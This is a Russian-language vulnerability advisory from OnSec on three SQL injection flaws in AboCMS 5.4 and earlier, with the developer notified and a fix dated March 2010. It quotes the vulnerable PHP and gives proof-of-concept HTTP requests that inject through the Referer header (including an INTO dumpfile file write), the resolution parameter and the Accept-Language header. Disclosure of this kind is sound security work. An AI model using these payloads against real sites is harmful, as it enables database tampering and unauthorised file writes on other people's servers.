RU / EN
[ONSEC-10-003] AboCMS SQL inj
Цель: AboCMS <= 5.4 (fixpack unknown)
Тип: SQL инъекция
Угроза: Средняя
Дата обнаружения: 12.03.2010
Дата оповещения разработчика: 12.03.2010
Дата выхода исправления: 17.03.2010
Автор: Vladimir Vorontsov
OnSec Russian Security Group (onsec [dot] ru)

Описание: Уязвимости существуют из-за отсутствия фильтрации данных заголовков HTTP и данных в переменных запроса.

1. Уязвимость в данных заголовка HTTP Referer.

Эксплуатация уязвимости возможна при включенной опции rewrite_mod в настройках системы управления сайтом. Уязвимый код:

$url_info = parse_url($_SERVER['HTTP_REFERER']);
if ($CONFIG['rewrite_mod']) {
	$link = @$url_info['path'] ? preg_replace("/^\/(rus|ukr|blr|de|frn|eng)\/?/i", "", $url_info['path']) : "";
	/*
	$amp_pos = strpos($link, "&");
	$link = FALSE !== $amp_pos ? substr($link, 0, $amp_pos) : $link;

	*/
	if($link=='/') $link = null;
    $by = 'address';
} else {
    $link = array();
    parse_str(@$url_info['query'], $link);
    $link = (@$link['link'] && $link['link']!='/') ? My_Sql::escape($link['link']) : '';
    $by = 'link';
}
Реализация:

GET http://localhost/c.php HTTP/1.1
Referer: http://asd.asd/'/**/INTO/**/dumpfile/**/'C:/onsec.txt'

2. Уязвимость в данных переменной resolution запроса GET.

Уязвимый код:

if (@$_GET['resolution']) {
	$user_resolution=$_GET['resolution'];
} else {
	$user_resolution='Another';
}
Реализация:

GET http://localhost/c.php?resolution="injection/**/to/**/insert

3. Уязвимость в данных заголовка HTTP Accept-Language

Уязвимый код:

$user_lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
Реализация:

GET http://localhost/c.php HTTP 1.1
Accept-language: "injection/**/to/**/insert

(c) 2009 ONsec.ru Включи безопасность. Копирование материалов сайта разрешается только с обязательной видимой ссылкой на тот сайт.